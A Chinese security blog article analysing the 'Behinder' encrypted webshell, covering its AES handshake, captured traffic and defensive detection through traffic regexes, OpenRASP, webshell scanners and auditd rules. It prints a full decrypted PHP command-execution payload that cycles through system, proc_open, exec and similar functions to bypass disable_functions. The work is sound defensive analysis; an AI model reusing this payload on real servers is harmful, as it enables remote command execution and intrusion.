红蓝对抗——加密Webshell“冰蝎”攻防

2019-10-19 约 393 字 预计阅读 2 分钟

声明:本文 【红蓝对抗——加密Webshell“冰蝎”攻防】 由作者 tinyfisher 于 2019-10-19 10:21:14 首发 先知社区 曾经 浏览数 158 次

感谢 tinyfisher 的辛苦付出!

演练中,第一代webshell管理工具“菜刀”的攻击流量特征明显,容易被安全设备检测到,攻击方越来越少使用,加密webshell正变得越来越流行,由于流量加密,传统的WAF、WebIDS设备难以检测,给威胁监控带来较大挑战。这其中最出名就是“冰蝎”,“冰蝎”是一款动态二进制加密网站管理客户端,演练中给防守方造成很大困扰,本文将对“冰蝎”的加密原理、流量特征、检测方案进行探讨。

0x01 “冰蝎”介绍&加密原理

“冰蝎”项目地址:https://github.com/rebeyond/Behinder
“冰蝎”目前最新版本为v2.1,兼容性已经日益完善,加密不再依赖PHP openssl扩展功能,同时支持了简单的ASP。主体功能方面包括虚拟终端、socks代理、文件管理、反弹shell、数据库管理等等,功能强大。

加密原理方面,以PHP环境为例,
《利用动态二进制加密实现新型一句话木马之PHP篇》这篇文章对冰蝎的原理已经做了详细的分析,简要介绍一下加密流程:

  • 首先客户端以Get形式发起带密码的握手请求,服务端产生随机密钥并写入Session。
  • 客户端将源代码,如assert|eval("phpinfo();”)利用AES加密,发送至服务端,服务端收到之后先进行AES解密,得到中间结果字符串assert|eval("phpinfo();")。
  • 服务端利用explode函数将拆分为一个字符串数据,索引为0的元素为字符串assert,索引为1的元素为字符串eval("phpinfo();")。
  • 以可变函数方式调用索引为0的数组元素,参数为索引为1的数组元素,即为assert("eval(\"phpinfo;\")") 。

0x02 加密Webshell流量分析

通过wireshark进行抓包分析,流量如下:

按照流程,客户端首先get请求生产随机密钥,server返回生成的16位密钥:0x7037af5d95561f3d,对应的session ID为 466geshjq6hr15kbmd72ju24g5。

得到密钥后,客户端对需要执行的命令进行AES加密,加密后的通讯流量如下,没有任何攻击特征,安全设备难以根据特征进行检测:

我们用密钥对该信息进行解密:

发现解密后执行的命令被base64编码了,进一步进行base64解码后,得到执行的命令如下:

@error_reporting(0);

function getSafeStr($str){
    $s1 = iconv('utf-8','gbk//IGNORE',$str);
    $s0 = iconv('gbk','utf-8//IGNORE',$s1);
    if($s0 == $str){
        return $s0;
    }else{
        return iconv('gbk','utf-8//IGNORE',$str);
    }
}
function main($cmd)
{
    @set_time_limit(0);
    @ignore_user_abort(1);
    @ini_set('max_execution_time', 0);
    $result = array();
    $PadtJn = @ini_get('disable_functions');
    if (! empty($PadtJn)) {
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);
        $PadtJn = array_map('trim', $PadtJn);
    } else {
        $PadtJn = array();
    }
    $c = $cmd;
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
        $c = $c . " 2>&1\n";
    }
    $JueQDBH = 'is_callable';
    $Bvce = 'in_array';
    if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
        ob_start();
        system($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
        $handle = proc_open($c, array(
            array(
                'pipe',
                'r'
            ),
            array(
                'pipe',
                'w'
            ),
            array(
                'pipe',
                'w'
            )
        ), $pipes);
        $kWJW = NULL;
        while (! feof($pipes[1])) {
            $kWJW .= fread($pipes[1], 1024);
        }
        @proc_close($handle);
    } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
        ob_start();
        passthru($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
        $kWJW = shell_exec($c);
    } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
        $kWJW = array();
        exec($c, $kWJW);
        $kWJW = join(chr(10), $kWJW) . chr(10);
    } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
        $fp = popen($c, 'r');
        $kWJW = NULL;
        if (is_resource($fp)) {
            while (! feof($fp)) {
                $kWJW .= fread($fp, 1024);
            }
        }
        @pclose($fp);
    } else {
        $kWJW = 0;
        $result["status"] = base64_encode("fail");
        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
        $key = $_SESSION['k'];
        echo encrypt(json_encode($result), $key);
        return;

    }
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode(getSafeStr($kWJW));
    echo encrypt(json_encode($result),  $_SESSION['k']);
}

function encrypt($data,$key)
{
    if(!extension_loaded('openssl'))
        {
            for($i=0;$i<strlen($data);$i++) {
                 $data[$i] = $data[$i]^$key[$i+1&15]; 
                }
            return $data;
        }
    else
        {
            return openssl_encrypt($data, "AES128", $key);
        }
}$cmd="pwd";
main($cmd);

可以看到,经过一些列的处理,最终执行的命令是“pwd”,命令执行的结果保存在json串$result中,$result["status"] 表示命令是否执行成功,$result["msg"]表示命令执行的结果。冰蝎对执行的返回结果$result也进行了加密,加密方式也是采用的AES(如果php没有开启openssl扩展,在采用明文和密钥逐位异或进行加密),密钥也是利用第一步随机get产生的密钥。

0x03 检测思路

检测思路可以从流量、应用、主机三个层面入手。

思路一:流量侧
(1)虽然冰蝎的通讯流量都是加密的,但是在第一步,冰蝎必须需要获得密钥,具体流量特征:
1、是一个get请求,url中带上参数?pass(参数名称可变)

对应的检测正则表达式:

/[\w.]*.[a-zA-Z]{3,4}\?\w{0,20}=\d{0,10}

由于该请求特征不明显,此正则会产生较多误报。

2、返回包状态码为200,返回内容必定是16位的密钥

对应的检测正则表达式:

^[a-fA-F0-9]{16}$

返回包特征相对明显,针对这一特征可以在WebIDS、全流量检测等安全设备中对返回包制定相应的特征检测规则。

(2)按照kill-chain的模型,除了在webshell通信的时候进行检测,也可以在上传webshell时(即载荷投递阶段)进行检测,对冰蝎的webshell木马文件特征定制特定的检测规则。以php webshell木马为例,webshell中包含了openssl_decrypt、base64、eval等关键字,可以在WAF、WebIDS、流量检测等安全设备中定制相应的关键字进行检测。

(3)安全厂商方面,越来越多的安全厂商也正在升级检测规则,支持对冰蝎的检测,检测效果需要进一步测试。

基于流量的检测不可避免的可能会产生误报的问题,需要结合企业业务实际流量进行调整;同时,冰蝎也可以进一步升级来规避这些特征,单单利用流量来进行检测难以到达完全的检测效果。

思路二:应用侧——OpenRASP检测

1、什么是OpenRASP?

随着Web应用攻击手段变得复杂,基于请求特征的防护手段,已经不能满足企业安全防护需求。Gartner在2014年提出了应用自我保护技术(RASP)的概念,即将防护引擎嵌入到应用内部,不再依赖外部防护设备。OpenRASP是该技术的开源实现,可以在不依赖请求特征的情况下,准确的识别代码注入、反序列化等应用异常,很好的弥补了传统设备防护滞后的问题。更多细节,请参考《OpenRASP 最佳实践》

2、RASP 技术和现有方案主要区别
首先,RASP 几乎没有误报情况。边界设备基于请求特征检测攻击,通常无法得知攻击是否成功。
对于扫描器的踩点行为、nday 扫描,一般会产生大量报警。RASP 运行在应用内部,失败的攻击不
会触发检测逻辑,所以每条攻击都是成功的报警。

其次,RASP 可以发现更多攻击。以SQL注入为例,边界设备只能看到请求信息。RASP 不但能够
看到请求信息,还能看到完整的SQL语句,并进行关联。如果SQL注入让服务器产生了语法错误或
者其他异常,RASP引擎也能够识别和处理。

最后,RASP 可以对抗未知漏洞。发生攻击时,边界防护设备无法掌握应用下一步的动向。RASP
技术可以识别出异常的程序逻辑,比如反序列化漏洞导致的命令执行,因此可以对抗未知漏洞。

3、OpenRASP 部署

目前,OpenRASP 支持 Java 和 PHP 两种开发语言,具体安装教程请参考:https://rasp.baidu.com/doc/install/main.html

以PHP为例,应用安装成功后,会在返回包头中添加X-Protected-By:OpenRASP字段,如下图所示:

此时,我们再次利用冰蝎进行命令执行操作,发现OpenRASP的检测引擎已经完美发现加密流量,并检测出执行的命令“whoami”。

虽然OpenRASP有很多优势,可以准确检测出一些未知漏洞,但是由于其本身的实现也存在一些问题使其在大规模推广还有一定难度。比如RASP对应用侵入过大、angent的安装可能对系统性能的影响、企业大规模部署运维的压力等等。

思路三:主机侧
(1)定期对服务器进行webshell文件扫描查杀
这里用D盾、河马和OpenRASP团队开发的下一代WebShell检测引擎webdir+进行测试,检测结果都比较一般。

其中,D盾、河马只检测出了早期冰蝎v1.2版本中的PHP webshell文件,未检测出jsp、asp 等webshell,检出比只有20%。

而对于冰蝎v2.1的webshell,D盾、河马都完全没有检测出来,检出比为0。

只有webdir+检测出了冰蝎v2.1的3个webshell文件,检出比为60%,可见冰蝎的免杀做得很不错。

同时,定期的webshell文件扫描也存在时效性差的问题,攻击方拿到shell后,也会对webshell进行痕迹清理,所以这种方式检测效果也有限。

(2)Linux audit日志检测

虽然冰蝎通讯流量是加密的,但落到主机侧,还是会调用系统命令,所以可以在主机审计日志层面定制检测规则,监控冰蝎对系统命令的调用。Linux审计系统提供了一种跟踪系统上与安全相关的信息的方法。基于预先配置的规则,审核生成日志条目以记录尽可能多的关于系统上发生的事件信息,参考《另类WebShell监测机制–基于auditd》思路。

以root身份执行如下命令,可实现对执行系统命令这一个SYSCALL行为的监控审计。

auditctl -D # 用于测试,清除已有规则  

 auditctl -a always,exit -F arch=b64 -S execve -k rule01_exec_command

上述命令在系统审计规则中增加了一条监控调用命令执行监控规则,并且定义规则名为rule01_exec_command。

在冰蝎中执行命令whoami,在Linux审计日志中发现记录:

type=SYSCALL:日志规则“rule01_exec_command”被触发,uid=33的用户,通过父进程ppid=597,调用/usr/bin/bash,执行了命令sh,进程pid=8380。

type=SYSCALL和type=EXECVE都能看到执行的程序名称和参数。

type=CWD则说明了,命令执行所在的目录cwd="/var/www/html"。

一般cwd在web目下的,又执行了系统命令,则这个行为是比较可疑的。

当然基于审计日志的检测思路也存在一定问题,包括:合理配置auditd的运行参数,准确评估审计功能对系统性能的影响;如何主动识别Web进程和Web目录信息;如何实时收集操作系统进程和进程PID等信息;如何关联分析Web访问日志; Windows平台是否有同样的检测机制等等。

0x04 总结

随着攻防对抗的不断升级,攻击方的手段越来越隐蔽,很多攻击流量都会进行加密,给防守方带来了较大挑战,相信后续对加密攻击流量检测的研究也会越来越多。本文对加密webshell“冰蝎”的加密原理进行了分析,在流量侧检测、应用侧检测、主机层检测方面提出了检测思路。各个层面的检测各有利弊,都难以仅仅依靠一种手段解决所有问题。按照纵深防御的思想,企业需要部署多层次的防护,合理运用各种技术的特点,从而达到多层次、多技术的防御互补的效果,进而防止一处防御失效后被全局突破。同时,在各个防御手段部署后,企业还需要持续不断的进行安全运营,发挥防御设备最大功效,构建合适自身的安全防御体系,才能不断提升企业的安全防护水平,才能应对日益严峻的网络安全形势。

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now